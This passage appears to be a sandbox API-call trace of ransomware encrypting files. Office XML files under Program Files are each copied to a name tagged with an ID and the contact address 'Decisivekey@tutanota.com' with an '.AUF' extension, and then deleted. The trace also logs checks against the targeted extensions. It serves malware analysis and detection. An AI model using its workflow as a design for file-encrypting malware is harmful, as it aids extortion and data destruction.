lstrlenW (lpString="Office32MUI.XML") returned 15 [0210.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0210.730] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=1383) returned 1 [0210.730] CloseHandle (hObject=0x174) returned 1 [0210.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 0x20 [0210.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0210.730] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0210.730] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.730] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.730] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0211.212] GetLastError () returned 0x0 [0211.213] ReadFile (in: hFile=0x174, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x567, lpOverlapped=0x0) returned 1 [0211.346] WriteFile (in: hFile=0x1dc, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x570, lpOverlapped=0x0) returned 1 [0211.347] ReadFile (in: hFile=0x174, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0211.347] WriteFile (in: hFile=0x1dc, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0211.347] SetEndOfFile (hFile=0x1dc) returned 1 [0211.347] CloseHandle (hObject=0x1dc) returned 1 [0211.347] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.347] SetEndOfFile (hFile=0x174) returned 1 [0211.348] CloseHandle (hObject=0x174) returned 1 [0211.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0211.348] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 1 [0211.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0211.348] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0211.348] lstrlenW (lpString=".doc") returned 4 [0211.348] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.348] lstrlenW (lpString=".docx") returned 5 [0211.348] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0211.348] lstrlenW (lpString=".pdf") returned 4 [0211.348] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.348] lstrlenW (lpString=".xls") returned 4 [0211.348] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.348] lstrlenW (lpString=".xlsx") returned 5 [0211.348] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0211.348] lstrlenW (lpString=".ppt") returned 4 [0211.349] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0211.349] lstrlenW (lpString=".zip") returned 4 [0211.349] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.349] lstrlenW (lpString=".rar") returned 4 [0211.349] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.349] lstrlenW (lpString=".bz2") returned 4 [0211.349] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.349] lstrlenW (lpString=".7z") returned 3 [0211.349] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0211.349] lstrlenW (lpString=".dbf") returned 4 [0211.349] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0211.349] lstrlenW (lpString=".1cd") returned 4 [0211.349] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0211.349] lstrlenW (lpString=".jpg") returned 4 [0211.349] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0211.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0211.349] lstrlenW (lpString=".doc") returned 4 [0211.349] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.349] lstrlenW (lpString=".docx") returned 5 [0211.349] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0211.349] lstrlenW (lpString=".pdf") returned 4 [0211.349] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.349] lstrlenW (lpString=".xls") returned 4 [0211.349] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.349] lstrlenW (lpString=".xlsx") returned 5 [0211.349] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0211.349] lstrlenW (lpString=".ppt") returned 4 [0211.349] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0211.349] lstrlenW (lpString=".zip") returned 4 [0211.349] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.349] lstrlenW (lpString=".rar") returned 4 [0211.349] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.349] lstrlenW (lpString=".bz2") returned 4 [0211.349] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.349] lstrlenW (lpString=".7z") returned 3 [0211.349] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.349] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0211.349] lstrlenW (lpString=".dbf") returned 4 [0211.349] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0211.350] lstrlenW (lpString=".1cd") returned 4 [0211.350] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.350] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0211.350] lstrlenW (lpString=".jpg") returned 4 [0211.350] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.380] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0211.381] lstrlenW (lpString="ProjectMUI.XML") returned 14 [0211.381] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0211.381] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=1452) returned 1 [0211.381] CloseHandle (hObject=0x1f8) returned 1 [0211.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 0x20 [0211.381] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.381] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0211.381] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.381] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.381] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0211.669] GetLastError () returned 0x0 [0211.669] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0211.701] WriteFile (in: hFile=0x180, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0211.702] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0211.702] WriteFile (in: hFile=0x180, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0211.702] SetEndOfFile (hFile=0x180) returned 1 [0211.702] CloseHandle (hObject=0x180) returned 1 [0211.702] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.702] SetEndOfFile (hFile=0x1f8) returned 1 [0211.703] CloseHandle (hObject=0x1f8) returned 1 [0211.703] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0211.703] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 1 [0211.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0211.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0211.703] lstrlenW (lpString=".doc") returned 4 [0211.703] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.703] lstrlenW (lpString=".docx") returned 5 [0211.703] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0211.703] lstrlenW (lpString=".pdf") returned 4 [0211.704] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.704] lstrlenW (lpString=".xls") returned 4 [0211.704] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.704] lstrlenW (lpString=".xlsx") returned 5 [0211.704] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0211.704] lstrlenW (lpString=".ppt") returned 4 [0211.704] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0211.704] lstrlenW (lpString=".zip") returned 4 [0211.704] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.704] lstrlenW (lpString=".rar") returned 4 [0211.704] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.704] lstrlenW (lpString=".bz2") returned 4 [0211.704] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.704] lstrlenW (lpString=".7z") returned 3 [0211.704] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0211.704] lstrlenW (lpString=".dbf") returned 4 [0211.704] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0211.704] lstrlenW (lpString=".1cd") returned 4 [0211.704] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0211.704] lstrlenW (lpString=".jpg") returned 4 [0211.704] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0211.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0211.704] lstrlenW (lpString=".doc") returned 4 [0211.704] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.704] lstrlenW (lpString=".docx") returned 5 [0211.704] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0211.704] lstrlenW (lpString=".pdf") returned 4 [0211.704] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.704] lstrlenW (lpString=".xls") returned 4 [0211.704] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.704] lstrlenW (lpString=".xlsx") returned 5 [0211.704] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0211.704] lstrlenW (lpString=".ppt") returned 4 [0211.704] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0211.704] lstrlenW (lpString=".zip") returned 4 [0211.704] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.704] lstrlenW (lpString=".rar") returned 4 [0211.704] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.704] lstrlenW (lpString=".bz2") returned 4 [0211.704] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.704] lstrlenW (lpString=".7z") returned 3 [0211.704] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0211.704] lstrlenW (lpString=".dbf") returned 4 [0211.705] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0211.705] lstrlenW (lpString=".1cd") returned 4 [0211.705] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.705] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108 [0211.705] lstrlenW (lpString=".jpg") returned 4 [0211.705] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.705] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0211.705] lstrlenW (lpString="DATES.XML") returned 9 [0211.705] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0211.705] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=8918) returned 1 [0211.705] CloseHandle (hObject=0x1f8) returned 1 [0211.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 0x20 [0211.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.705] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0211.705] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.705] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.705] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0211.738] GetLastError () returned 0x0 [0211.738] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x22d6, lpOverlapped=0x0) returned 1 [0211.767] WriteFile (in: hFile=0x180, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x22e0, lpOverlapped=0x0) returned 1 [0211.768] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0211.768] WriteFile (in: hFile=0x180, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0211.768] SetEndOfFile (hFile=0x180) returned 1 [0211.768] CloseHandle (hObject=0x180) returned 1 [0211.768] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.768] SetEndOfFile (hFile=0x1f8) returned 1 [0211.769] CloseHandle (hObject=0x1f8) returned 1 [0211.769] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0211.769] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml")) returned 1 [0211.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0211.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0211.770] lstrlenW (lpString=".doc") returned 4 [0211.770] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.770] lstrlenW (lpString=".docx") returned 5 [0211.770] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0211.770] lstrlenW (lpString=".pdf") returned 4 [0211.770] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.770] lstrlenW (lpString=".xls") returned 4 [0211.770] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.770] lstrlenW (lpString=".xlsx") returned 5 [0211.770] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0211.770] lstrlenW (lpString=".ppt") returned 4 [0211.770] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0211.770] lstrlenW (lpString=".zip") returned 4 [0211.770] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.770] lstrlenW (lpString=".rar") returned 4 [0211.770] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.770] lstrlenW (lpString=".bz2") returned 4 [0211.770] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.770] lstrlenW (lpString=".7z") returned 3 [0211.770] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0211.770] lstrlenW (lpString=".dbf") returned 4 [0211.770] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0211.770] lstrlenW (lpString=".1cd") returned 4 [0211.770] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0211.770] lstrlenW (lpString=".jpg") returned 4 [0211.770] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0211.770] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0211.770] lstrlenW (lpString=".doc") returned 4 [0211.770] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.770] lstrlenW (lpString=".docx") returned 5 [0211.770] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0211.770] lstrlenW (lpString=".pdf") returned 4 [0211.770] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.770] lstrlenW (lpString=".xls") returned 4 [0211.770] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.770] lstrlenW (lpString=".xlsx") returned 5 [0211.770] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0211.771] lstrlenW (lpString=".ppt") returned 4 [0211.771] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.771] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML") returned 77 [0211.771] lstrlenW (lpString=".zip") returned 4 [0211.771] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.771] lstrlenW (lpString=".rar") returned 4 [0211.771] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.771] lstrlenW 